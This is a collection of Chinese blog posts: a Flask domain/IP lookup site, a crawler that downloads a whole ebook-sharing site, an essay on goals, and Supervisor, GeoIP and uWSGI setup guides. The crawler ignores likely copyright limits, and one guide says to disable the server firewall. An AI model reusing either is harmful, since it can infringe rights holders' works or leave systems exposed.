}}\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt; {% else %} \u0026lt;tr\u0026gt; \u0026lt;td style=\u0026#34;width: 20%\u0026#34;\u0026gt; \u0026lt;a role=\u0026#34;button\u0026#34; data-toggle=\u0026#34;collapse\u0026#34; href=\u0026#34;#collapseExample\u0026#34; aria-expanded=\u0026#34;false\u0026#34; aria-controls=\u0026#34;collapseExample\u0026#34;\u0026gt; {{ item }} \u0026lt;/a\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;td style=\u0026#34;width: 80%\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;collapse\u0026#34; id=\u0026#34;collapseExample\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;well\u0026#34;\u0026gt; {{ whois_info[item] }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; {% endif %} {% endfor %} \u0026lt;/table\u0026gt; {% endif %} {% if ipinfos|length\u0026gt;0 %} \u0026lt;table class=\u0026#34;table table-bordered\u0026#34;\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;th\u0026gt;IP\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;国家/地区\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;省份\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;城市\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;机构\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;ISP\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;经纬度\u0026lt;/th\u0026gt;\u0026lt;th\u0026gt;来源\u0026lt;/th\u0026gt;\u0026lt;/tr\u0026gt; {% for ipinfo in ipinfos %} \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;ip\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;country\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;region\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;city\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;org\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;isp\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{ ipinfo[\u0026#39;loc\u0026#39;] }}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt; {% if ipinfo[\u0026#39;source\u0026#39;]==\u0026#39;ipinfo.io\u0026#39; %} \u0026lt;a href=\u0026#34;http://ipinfo.io/{{ ipinfo[\u0026#39;ip\u0026#39;] }}\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;{{ ipinfo[\u0026#39;source\u0026#39;] }}\u0026lt;/a\u0026gt; {% elif ipinfo[\u0026#39;source\u0026#39;]==\u0026#39;ip-api.com\u0026#39;%} \u0026lt;a href=\u0026#34;http://ip-api.com/json/{{ ipinfo[\u0026#39;ip\u0026#39;] }}\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;{{ ipinfo[\u0026#39;source\u0026#39;] }}\u0026lt;/a\u0026gt; {% else %} {{ ipinfo[\u0026#39;source\u0026#39;] }} {% endif %} \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; {% endfor %} \u0026lt;/table\u0026gt; {% endif %} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {% endblock %} {% endblock %} 路由配置处理中实现了获取表单中的信息，并判断是域名还是IP如果是域名者获取whois信息，并根据域名获取IP信息。如果输入的是IP则获取IP信息，并反馈到页面上。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @index_bp.route(\u0026#39;/\u0026#39;,methods=[\u0026#39;GET\u0026#39;,\u0026#39;POST\u0026#39;]) def index(): name = \u0026#39;\u0026#39; ipinfos = [] whois_info = \u0026#39;\u0026#39; form = InputForm() if form.validate_on_submit(): name = form.name.data if checkip(name): ipinfos = getipinfo(name) else: whois_info = getwhoisinfo(name) whois_ip = getIPbyDomain(name) if checkip(whois_ip): ipinfos = getipinfo(whois_ip) form.name.data = \u0026#39;\u0026#39; return render_template(\u0026#39;index.html\u0026#39;,form=form, name=name, ipinfos=ipinfos, whois_info=whois_info) 4、最终实现效果 至此通过Python快速实现了一个简单的域名、IP信息聚合网站\n全部源代码：https://github.com/xiejava1018/infocollect\n演示地址：http://test.ishareread.com/\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-20-python%E5%BF%AB%E9%80%9F%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E5%9F%9F%E5%90%8Dip%E4%BF%A1%E6%81%AF%E8%81%9A%E5%90%88%E7%BD%91%E7%AB%99/","summary":"\u003cp\u003e域名和IP地址信息是非常基础的情报信息，目前网上有很多网站都提供了域名信息的查询、IP地址及归属地的查询。本文通过Python Flask实现域名及IP情报信息的聚合网站。\u003c/p\u003e","title":"Python快速实现一个域名、IP信息聚合网站"},{"content":"最近在学习Python，相对java来说python简单易学、语法简单，工具丰富，开箱即用，适用面广做全栈开发那是极好的，对于小型应用的开发，虽然运行效率慢点，但开发效率极高。大大提高了咱们的生产力。为什么python能够在这几年火起来，自然有他的道理，当然也受益于这几年大数据和AI的火。\n据说网络上80%的爬虫都是用python写的，不得不说python写爬虫真的是so easy。基本上一个不太复杂的网站可以通过python用100多行代码就能实现你所需要的爬取。 现在就以一个电子书的网站为例来实现python爬虫获取电子书资源。爬取整站的电子书资源，按目录保存到本地，并形成索引文件方便查找。\n爬取的目标网站：苦瓜书盘\n步骤：爬取-\u0026gt;分析、解析-\u0026gt;保存\n对于一个不需要登录验证的资源分享类的网站，爬取最大的工作量应该是在对目标页面的分析、解析、识别，这里用的到是Python的BeautifulSoup库。\n一、获取目录\n二、获取书籍列表页\n三、获取书籍详情页\n四、分析书籍详情页的资源地址\n五、下载并保存\n准备 引入相应的包，设置 headerd, 和资源保存路径\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests import os import re from bs4 import BeautifulSoup import time import json from Book import Book savepath=\u0026#34;J://kgbook//books//\u0026#34; #保存地址 headers = { \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\u0026#39; } main_url=\u0026#39;https://kgbook.com/\u0026#39; bookcount=0 一、获取目录 通过浏览器的调试工具可以看到目录在id=catagory的div标签下，下面还有ul和li标签，那我们可以迭代li可以获得目录及目录页的地址。 可以通过soup.find_all(attrs={\u0026lsquo;id\u0026rsquo;: \u0026lsquo;category\u0026rsquo;})[0].ul 获取 到ul标签，然后获取ul的li标签，进行迭代获取。 代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026#39;\u0026#39;\u0026#39; 获取目录 \u0026#39;\u0026#39;\u0026#39; def getcategory(): req_result=requests.get(main_url,headers=headers) if req_result.status_code==200: htmlstr=req_result.content.decode(\u0026#39;utf-8\u0026#39;) soup = BeautifulSoup(htmlstr, \u0026#39;lxml\u0026#39;) categorys=soup.find_all(attrs={\u0026#39;id\u0026#39;: \u0026#39;category\u0026#39;})[0].ul for li in categorys.find_all(name=\u0026#39;li\u0026#39;): print(\u0026#39;开始抓取\u0026#39;+li.a.attrs[\u0026#39;href\u0026#39;]+\u0026#34;--\u0026#34;+li.string) getcategroydetail(main_url+li.a.attrs[\u0026#39;href\u0026#39;],li.string) time.sleep(1) 二、获取书籍列表页 在书籍列表页，我们要获取两个信息，分别是书籍列表的信息及翻页下一页书籍列表的URL地址。 通过浏览器的调试工具分别对列表的信息及翻页下一页的html进行分析。 列表中的书籍详情页信息在class=\u0026ldquo;channel-item\u0026quot;的div标签下，通过class=\u0026ldquo;list-title\u0026quot;的h3标签循环迭代 下一页，我们可以直接通过next_pag=soup.find(name=\u0026lsquo;a\u0026rsquo;,text=re.compile(\u0026lsquo;下一页\u0026rsquo;))来获取。 然后我们可以通过递归来不断的调用获取下一页书籍列表页的代码，知道没有下一页为止。就可以把怎个目录都可以爬取完。 代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026#39;\u0026#39;\u0026#39; 获取书籍列表 \u0026#39;\u0026#39;\u0026#39; def getbookslist(bookurlstr,categroy_path): book_result=requests.get(bookurlstr,headers=headers) bookhtmlstr=book_result.content.decode(\u0026#39;utf-8\u0026#39;) soup = BeautifulSoup(bookhtmlstr, \u0026#39;lxml\u0026#39;) booklists=soup.select(\u0026#39;.channel-item\u0026#39;) for bookinfo_div in booklists: booktitle_div=bookinfo_div.select(\u0026#39;.list-title\u0026#39;)[0] bookurl=booktitle_div.a.attrs[\u0026#39;href\u0026#39;] getbookdetail(bookurl,categroy_path) next_pag=soup.find(name=\u0026#39;a\u0026#39;,text=re.compile(\u0026#39;下一页\u0026#39;)) if next_pag is not None: next_url=next_pag.attrs[\u0026#39;href\u0026#39;] print(\u0026#39;爬取下一页：\u0026#39;+next_url) getbookslist(next_url,categroy_path) 三、获取书籍详情页 我们要在书籍详情页需要获得书籍详情信息包括书名、作者等信息 关于书名和作者可以分别通过提取class=\u0026ldquo;news_title\u0026quot;的h1标签和id=\u0026ldquo;news_details\u0026quot;的div下的ul下的li再通过正则表达式对作者信息进行提取。\n1 2 3 4 booktitle=bookdetailsoup.select(\u0026#39;.news_title\u0026#39;)[0].text.strip() bookauthor=bookdetailsoup.select(\u0026#39;#news_details\u0026#39;)[0].ul.li.find(text=re.compile(\u0026#39;作者：(.*?)\u0026#39;)).strip() bookauthor=bookauthor.replace(\u0026#39;作者：\u0026#39;,\u0026#39;\u0026#39;) booktitleinfo=\u0026#34;《\u0026#34;+booktitle+\u0026#39;》-\u0026#39;+bookauthor 四、分析书籍详情页的资源地址 在书籍详情页，我们还要分析书籍详情页的资源地址 电子书的资源下载地址可以通过提取a标签的信息来获取。通过正则表达式分别匹配azw3、mobi、epub分别提取不同的电子书资源。 book_url_item=bookdetailsoup.find(name=\u0026lsquo;a\u0026rsquo;,text=re.compile(booktype,re.I)) 代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 \u0026#39;\u0026#39;\u0026#39; 根据书籍资源类型下载资源 \u0026#39;\u0026#39;\u0026#39; def getbookfortype(bookurl,categroy_path,bookdetailsoup,booktype): booktitle=bookdetailsoup.select(\u0026#39;.news_title\u0026#39;)[0].text.strip() bookauthor=bookdetailsoup.select(\u0026#39;#news_details\u0026#39;)[0].ul.li.find(text=re.compile(\u0026#39;作者：(.*?)\u0026#39;)).strip() bookauthor=bookauthor.replace(\u0026#39;作者：\u0026#39;,\u0026#39;\u0026#39;) booktitleinfo=\u0026#34;《\u0026#34;+booktitle+\u0026#39;》-\u0026#39;+bookauthor print(\u0026#39;书籍详情：---\u0026#39;+booktitleinfo) book_url_item=bookdetailsoup.find(name=\u0026#39;a\u0026#39;,text=re.compile(booktype,re.I)) if book_url_item is not None: downloadurl=book_url_item.attrs[\u0026#39;href\u0026#39;] print(\u0026#39;下载地址：\u0026#39;+downloadurl) if checkIfNoExistBookByUrl(downloadurl): r = requests.get(downloadurl) if r.status_code==200: savepath=createdir(categroy_path,booktitleinfo) filename=booktitle+\u0026#34;.\u0026#34;+booktype savebook(r.content,savepath,filename) p,f=os.path.split(categroy_path) bookcategory=f book=Book(bookcategory,booktitle,bookauthor,bookurl,downloadurl,savepath,\u0026#34;苦瓜书盘\u0026#34;,booktype) print(book.toString()) savebooktojson(book) else: print(\u0026#39;下载失败：status_code=\u0026#39;+str(r.status_code)) else: print(\u0026#39;没有\u0026#39;+booktype+\u0026#39;格式的书\u0026#39;) 五、下载并保存 有了资源的下载资源后下载就变得很简单了，主要用python的os库，对文件进行操作，包括建目录及保存资源文件。也可以通过连接数据库将爬取的数据保存到数据库。 定义书籍类Book用于组织和保存数据。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Book(object): def __init__(self,bookcategory,bookname,bookauthor,bookurl,bookdownloadurl,booksavepath,booksource,booktype): self.bookcategory=bookcategory self.bookname=bookname self.bookauthor=bookauthor self.bookurl=bookurl self.bookdownloadurl=bookdownloadurl self.booksavepath=booksavepath self.booksource=booksource self.booktype=booktype def toString(self): return {\u0026#34;bookcategory\u0026#34;:self.bookcategory,\u0026#34;bookname\u0026#34;:self.bookname,\u0026#34;bookauthor\u0026#34;:self.bookauthor,\u0026#34;bookurl\u0026#34;:self.bookurl,\u0026#34;bookdownloadurl\u0026#34;:self.bookdownloadurl,\u0026#34;booksavepath\u0026#34;:self.booksavepath,\u0026#34;booksource\u0026#34;:self.booksource,\u0026#34;booktype\u0026#34;:self.booktype} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026#39;\u0026#39;\u0026#39; 将获取的信息保存至文件 \u0026#39;\u0026#39;\u0026#39; def savebooktojson(book): bookdata={ \u0026#39;booksource\u0026#39;:book.booksource, \u0026#39;booktype\u0026#39;:book.booktype, \u0026#39;bookcategory\u0026#39;:book.bookcategory, \u0026#39;bookname\u0026#39;:book.bookname, \u0026#39;bookauthor\u0026#39;:book.bookauthor, \u0026#39;bookurl\u0026#39;:book.bookurl, \u0026#39;bookdownloadurl\u0026#39;:book.bookdownloadurl, \u0026#39;booksavepath\u0026#39;:book.booksavepath } bookjson=json.dumps(bookdata,ensure_ascii=False) #ensure_ascii=False 就不会用 ASCII 编码，中文就可以正常显示了 print(bookjson) with open(\u0026#39;data.json\u0026#39;, \u0026#39;a\u0026#39;,encoding=\u0026#39;gbk\u0026#39;) as file: file.write(bookjson+\u0026#39;\\n\u0026#39;) 1 2 3 4 5 6 7 8 9 10 11 12 \u0026#39;\u0026#39;\u0026#39; 根据目录创建文件夹 \u0026#39;\u0026#39;\u0026#39; def createdir(savepath,dir): path=os.path.join(savepath,dir) isExists=os.path.exists(path) if isExists: print(\u0026#39;已经存在\u0026#39;+dir) else: print(\u0026#39;创建目录\u0026#39;+dir) os.mkdir(path) return path 1 2 3 4 5 6 7 \u0026#39;\u0026#39;\u0026#39; 下载书籍资源 \u0026#39;\u0026#39;\u0026#39; def savebook(content,savepath,savefilename): savefile=os.path.join(savepath,savefilename) with open(savefile, \u0026#34;wb\u0026#34;) as code: code.write(content) 运行效果如下：\n1、爬取过程 2、爬取记录的json信息 data.json的信息如下： 3、爬取获取的资源 按目录都已经整理好了，够你看的了。 ​ Python爬虫获取电子书资源实战的全部代码，包括爬取-\u0026gt;分析、解析-\u0026gt;保存至本地及数据库。下载\n​github: https://github.com/xiejava1018/getbooks\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-20-python%E7%88%AC%E8%99%AB%E8%8E%B7%E5%8F%96%E7%94%B5%E5%AD%90%E4%B9%A6%E8%B5%84%E6%BA%90%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e最近在学习Python，相对java来说python简单易学、语法简单，工具丰富，开箱即用，适用面广做全栈开发那是极好的，对于小型应用的开发，虽然运行效率慢点，但开发效率极高。大大提高了咱们的生产力。为什么python能够在这几年火起来，自然有他的道理，当然也受益于这几年大数据和AI的火。\u003c/p\u003e","title":"Python爬虫获取电子书资源实战"},{"content":"\n你有了一个目标，于是你有了一堆技能。而不是反过来！ 这应该是这段时间我领悟最深刻的一句话，是从白帽汇-赵武的微信文章中看到的。 我的体会是，没有一个清晰的为之努力奋斗的目标而去学东西，很难获得效果。\n老实说，我并不是个懒惰的人，知道要不断的去学习、看书，来努力提升自己，但是几年下来自己的个人成长确是非常的有限，原因就是目标不明确。尤其是随着年龄的增大，面对越来越大的压力，越来越焦虑。焦虑是因为面对残酷的社会竞争压力以及对自身能力的不自信。所以很多东西都想学，机器学习、网络安全、英语、写作等等。没有明确的目标和整体的规划，只知道要学，桌上摆了很多书，今天看几页这本书，明天翻几页那本书，看上去天天在看书，实际上一本书都没有看进去。看英语的时候在想应该多花点时间看看专业书，看专业书的时候在想英语也很重要，要不看会英语。实际就是有限的时间精力和无限的需要学习的知识之间的矛盾。还有一个突出的问题就是没有明确的目标就会没有成就感，尤其是专业领域，看了很多书，不能学以致用，看了就忘，感觉就是学了个寂寞。\n学习，目标非常重要，没有明确目标的学习到头来都是浪费时间。学习效果好、状态好的往往是带着明确的目标去学的。记得我才参加工作的时候做网页开发那时候啥都不懂，我的目标就是想成为一名真正的程序员。那时候BBS和聊天室很火，就想自己能够写一个BBS和聊天室，于是自己学Java、 jsp、HTML、javascript、数据库等。那时候上外网还比较奢侈，自己写了一个聊天室放到公司内网，公司几十百把号人玩得不亦乐乎。大家玩聊天室的时候还不断的给我提建议提需求，我白天上班，晚上改我的聊天室代码。看着自己的成果被别人用心里挺开心的。那段时间感觉自己成长很快，学到了很多东西。很快成为了公司主力程序员。还有个例子就是有段时间想学英语，给自己定的目标就是看完全套的《书虫》，有了目标后每天坚持看几十页，花了几个月的时间把全套的149本书虫给看完了。自己感觉还是非常的好，英语阅读能力有了一定的提升。但是这个目标实现了以后，没有重新给自己制定新的目标，所以自己的英语水平一直没有达到自己理想的状态。应该规划好终极目标、长期目标、阶段性目标，通过实现一个个小目标最终达到自己理想的终极目标。\n懂得了很多大道理依旧无法过好这一生，其实就是没有一个明确的人生目标，没有一个让自己为之奋斗的目标，目标感强的人往往都会比较成功。可以说项目管理也好，个人管理也好，归根到底都是目标管理。为了实现目标、投入时间、金钱、精力等各种已有的资源，用各种手段，思考各种方法来达到目标。\n定方向、定目标非常重要！\n作者博客：http://xiejava.ishareread.com/\n关注：“爱分享读书”微信公众号 读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-17-%E4%BD%A0%E6%9C%89%E4%BA%86%E4%B8%80%E4%B8%AA%E7%9B%AE%E6%A0%87%E4%BA%8E%E6%98%AF%E4%BD%A0%E6%9C%89%E4%BA%86%E4%B8%80%E5%A0%86%E6%8A%80%E8%83%BD%E8%80%8C%E4%B8%8D%E6%98%AF%E5%8F%8D%E8%BF%87%E6%9D%A5/","summary":"\u003cp\u003e\u003cimg alt=\"目标\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20211116/%E7%9B%AE%E6%A0%87.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e你有了一个目标，于是你有了一堆技能。而不是反过来！\u003c/strong\u003e\n这应该是这段时间我领悟最深刻的一句话，是从白帽汇-赵武的微信文章中看到的。\n我的体会是，\u003cstrong\u003e没有一个清晰的为之努力奋斗的目标而去学东西，很难获得效果\u003c/strong\u003e。\u003c/p\u003e","title":"你有了一个目标，于是你有了一堆技能，而不是反过来！"},{"content":"很多网友留言问如何配置Supervisor 自启动，现将如何在CentOS7下配置Supervisor自启动的两种方法整理如下：\n一、方法一 直接将启动命令加入到/etc/rc.d/rc.local中（简单但不推荐）\n1 vi /etc/rc.d/rc.local 在现有的内容后面加入supervisor的启动命令 supervisord -c /etc/supervisord.conf 注意：一定要执行 chmod +x /etc/rc.d/rc.local\nchmod +x /etc/rc.d/rc.local\n给文件加入可执行权限 根据官方的提示，该方式是不被建议的，强烈建议创建自己的systemd services或udev规则来启动自已的应用，也就是方法二。\n二、方法二 通过创建systemd services来实现自启动 （推荐） 进入到/usr/lib/systemd/system/目录\n1 [root@localhost ~]# cd /usr/lib/systemd/system/ 找到supervisord及supervisorctl命令的路径\n1 2 3 4 [root@localhost system]# which supervisord /usr/local/bin/supervisord [root@localhost system]# which supervisorctl /usr/local/bin/supervisorctl 创建文件supervisord.service 1 vi supervisord.service 复制以下代码。注意：supervisord及supervisorctl命令的路径根据实际情况进行修改\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #supervisord.service [Unit] Description=Supervisor daemon [Service] Type=forking ExecStart=/usr/local/bin/supervisord -c /etc/supervisord.conf ExecStop=/usr/local/bin/supervisorctl shutdown ExecReload=/usr/local/bin/supervisorctl reload KillMode=process Restart=on-failure RestartSec=42s [Install] WantedBy=multi-user.target 启用服务 1 2 [root@localhost system]# systemctl enable supervisord Created symlink from /etc/systemd/system/multi-user.target.wants/supervisord.service to /usr/lib/systemd/system/supervisord.service 启动服务 1 [root@localhost ~]# systemctl start supervisord 查看服务状态 1 2 3 4 5 6 7 8 9 10 11 [root@localhost ~]# systemctl status supervisord ● supervisord.service - Supervisor daemon Loaded: loaded (/usr/lib/systemd/system/supervisord.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2021-11-11 11:11:36 CST; 12s ago Process: 3822 ExecStart=/usr/local/bin/supervisord -c /etc/supervisord.conf (code=exited, status=0/SUCCESS) Main PID: 3850 (supervisord) CGroup: /system.slice/supervisord.service ├─3850 /usr/local/bin/python3.8 /usr/local/bin/supervisord -c /etc/supervisord.conf ├─3916 uwsgi --ini /home/flask_web/uwsgi.ini ├─3918 uwsgi --ini /home/flask_web/uwsgi.ini └─3919 uwsgi --ini /home/flask_web/uwsgi.ini 验证一下是否为开机启动 1 2 [root@localhost system]# systemctl is-enabled supervisord enabled reboot重启服务器后，可以发现supervisor随服务器启动后自动启动了。\n至此，本文介绍了CentOS7下配置Supervisor自启动的两种方法，推荐使用第二种方式。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-11-centos7%E4%B8%8B%E9%85%8D%E7%BD%AEsupervisor%E8%87%AA%E5%90%AF%E5%8A%A8%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003e很多网友留言问如何配置Supervisor 自启动，现将如何在CentOS7下配置Supervisor自启动的两种方法整理如下：\u003c/p\u003e\n\u003ch1 id=\"一方法一\"\u003e一、方法一\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e直接将启动命令加入到/etc/rc.d/rc.local中（简单但不推荐）\u003c/strong\u003e\u003c/p\u003e","title":"CentOS7下配置Supervisor自启动的两种方法"},{"content":"IP地址信息是非常重要的情报信息，通过IP可以定位到该IP所在的国家、城市、经纬度等。 获取IP信息的方式有很多，很多服务商都提供了相应的地址库或API接口服务。 如国内的ipip.net，国外的ip-api.com、maxmind.com等。 很多公司都是使用Maxmind网站的IP信息库，里面包含着IP的详细信息，有付费的也有免费的，收费与免费的区别就是精准度和覆盖率。\n本文介绍下载及定时更新Maxmind的离线库用python通过GeoIP来获取IP信息\n一、下载GeoLite2离线地址库 1、注册及申请License Key 下载地址库之前先要在Maxmind网站注册同意相应的协议并登陆。\n1）注册 访问 https://dev.maxmind.com/geoip/geolite2-free-geolocation-data 点击\u0026quot;Sign Up for GeoLite2\u0026quot; 根据输入框进行注册 注意邮箱一定要正确，注册后会发邮件进行确认及修改密码。 根据注册的用户名和修改后的密码登陆就可以直接下载离线包了。 点击\u0026quot;Download Databases\u0026quot;进入到下载页面，可以看到提供了CSV及mmdb两种格式的离线库包，最近的更新时间为2021年11月02日。 由于IP地址信息是经常有变化的，Maxmind提供了geoipupdate工具来更新离线地址包。该工具使用需要申请账号和License Key\n2）申请License Key 还是通过刚注册的引导页面，点击“Generate a License Key” 进如到页面后，点击“Generate new license key” 点击确定以后就会生成账号及License key 2、下载并配置geoipupdate https://github.com/maxmind/geoipupdate 这里有详细的安安装及配置说明\n发行版本下载地址 https://github.com/maxmind/geoipupdate/releases 可以看到提供了各种平台的版本的下载链接，这里我们下载安装的是linux版本，点击下载“geoipupdate_4.8.0_linux_amd64.tar.gz” 在home目录下执行\n1 wget https://github.com/maxmind/geoipupdate/releases/download/v4.8.0/geoipupdate_4.8.0_linux_amd64.tar.gz 下载至home目录\ntar -zxvf geoipupdate_4.8.0_linux_amd64.tar.gz 进行解压 cd geoipupdate_4.8.0_linux_amd64 目录执行ls -alh查看目录内容，发现有两个关键文件，一个是getipupdate命令执行文件，一个是GeoIP.conf配置文件 将执行命令拷贝到命令文件夹\n1 cp geoipupdate /usr/local/bin/ geoipupdate命令读配置文件默认为/usr/local/etc/GeoIP.conf将配置文件拷贝到/usr/local/etc/下\n1 cp GeoIP.conf /usr/local/etc/ 1 vi /usr/local/etc/GeoIP.conf 如上图修改离线库文件目录及账号、LicenseKey，AccountID和LicenseKey就是开始在Maxmind网站上申请的。\n3、运行geoipupdate命令并加入定时任务 执行geoipupdate命令，在目录下面产生了GeoLite2-City.mmdb、GeoLite2-Country.mmdb两个离线库文件。 创建Linux定时任务，每周自动更新一下离线库文件\n1 2 crontab -e 0 0 * * 0 /usr/local/bin/geoipupdate 二、通过Python调用GeoIP获取IP信息 默认已经安装好了Flask环境，并激活了python虚拟环境。激活python虚拟环境安装Flask教程见http://xiejava.ishareread.com/posts/7f405b25/\n1、安装geoip2 1 pip install geoip2 2、编写hello.py调用geoip2 1 vi hello.py 复制以下代码到hello.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flask import geoip2.database app = Flask(__name__) reader=geoip2.database.Reader(\u0026#39;/home/geoipupdate_4.8.0_linux_amd64/GeoLite2-City.mmdb\u0026#39;) @app.route(\u0026#34;/\u0026#34;) def hello(): return \u0026#34;Hello World!\u0026#34; @app.route(\u0026#34;/getip/\u0026lt;ip\u0026gt;\u0026#34;) def getip(ip): ipinfo=reader.city(ip) ipinfo_json={\u0026#39;country\u0026#39;:ipinfo.country.name,\u0026#39;city\u0026#39;:ipinfo.city.name,\u0026#39;location\u0026#39;:[ipinfo.location.longitude,ipinfo.location.latitude]} return ipinfo_json if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#39;0.0.0.0\u0026#39;,port=8080) 3、运行hello.py 1 2 3 4 5 6 7 8 9 (flask_web) [root@localhost flask_web]# python hello.py * Serving Flask app \u0026#39;hello\u0026#39; (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on all addresses. WARNING: This is a development server. Do not use it in a production deployment. * Running on http://192.168.1.18:8080/ (Press CTRL+C to quit) 注意：如果linux开启了防火墙请关闭防火墙，或放开192.168.1.18\n4、验证 通过浏览器访问 http://192.168.1.18:8080/getip/128.101.101.101 可以看到返回IP的国家、城市、经纬度等信息。\n至此，本文介绍了如何注册并下载GeoIP离线数据包，并通过官方提供的geoipupdate进行定期更新数据。还介绍了如何通过Python调用GeoIP获取IP信息。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-10-python%E9%80%9A%E8%BF%87geoip%E8%8E%B7%E5%8F%96ip%E4%BF%A1%E6%81%AF%E5%9B%BD%E5%AE%B6%E5%9F%8E%E5%B8%82%E7%BB%8F%E7%BA%AC%E5%BA%A6%E7%AD%89/","summary":"\u003cp\u003eIP地址信息是非常重要的情报信息，通过IP可以定位到该IP所在的国家、城市、经纬度等。\n获取IP信息的方式有很多，很多服务商都提供了相应的地址库或API接口服务。\n如国内的ipip.net，国外的ip-api.com、maxmind.com等。\n很多公司都是使用Maxmind网站的IP信息库，里面包含着IP的详细信息，有付费的也有免费的，收费与免费的区别就是精准度和覆盖率。\u003c/p\u003e","title":"Python通过GeoIP获取IP信息（国家、城市、经纬度等）"},{"content":"在生产环境中通常用uwsgi作为Flask的web服务网关，通过nginx反向代理进行负载均衡，通过supervior进行服务进行的管理。这一套搭下来还是有一些坑要踩，本文通过一个简单的Flask web应用记录了CentOS7下python3+Flask+uWSGI+Nginx+Supervisor环境搭建的全过程，以及一些注意事项，以免遗忘。\n一、Python3环境安装 CentOS7下Python3环境安装参考 http://xiejava.ishareread.com/posts/57cef505/\n查看python版本\n1 2 [root@localhost ~]# python -V Python 3.8.12 二、安装Flask 1、创建Python虚拟环境 在home目录下创建flask_web目录（目录根据具体实际环境创建，本教程是/home/flask_web） 通过venv创建虚拟环境 [root@localhost flask_web]# python -m venv /home/flask_web 创建成功后可以看到在目录下自动建了一些文件夹，包括python命令及依赖库等，激活以后是个独立的python虚拟运行环境。 在目录下运行source bin/activate 激活虚拟环境\n1 2 [root@localhost flask_web]# source bin/activate (flask_web) [root@localhost flask_web]# 2、安装Flask 通过pip install flask安装flask\n1 (flask_web) [root@localhost flask_web]# pip install flask 安装的时候有可能报ModuleNotFoundError: No module named \u0026lsquo;_ctypes\u0026rsquo;的错误，原因是缺少libffi-devel包，具体可参考 https://blog.csdn.net/qq_36416904/article/details/79316972 运行yum install libffi-devel -y 并且要重新编译执行安装python 解决包依赖的问题 (flask_web) [root@localhost flask_web]# yum install libffi-devel -y 进入到python源码包目录 执行使用make\u0026amp;make install 命令重新编译并安装python（这里比较坑） 然后再pip install flask 进行安装 安装完成后可以尝试运行flask run，提示没有Flask应用程序，说明flask已经安装成功并且可以运行了。\n1 2 3 4 5 6 7 8 9 (flask_web) [root@localhost flask_web]# flask run * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off Usage: flask run [OPTIONS] Try \u0026#39;flask run --help\u0026#39; for help. Error: Could not locate a Flask application. You did not provide the \u0026#34;FLASK_APP\u0026#34; environment variable, and a \u0026#34;wsgi.py\u0026#34; or \u0026#34;app.py\u0026#34; module was not found in the current directory. 3、建立测试应用 vi hello.py创建一个hello.py的文件，copy下面的内容到文件中:wq保存退出\n1 2 3 4 5 6 7 8 9 from flask import Flask app = Flask(__name__) @app.route(\u0026#34;/\u0026#34;) def hello(): return \u0026#34;Hello World!\u0026#34; if __name__ == \u0026#34;__main__\u0026#34;: app.run() 通过python 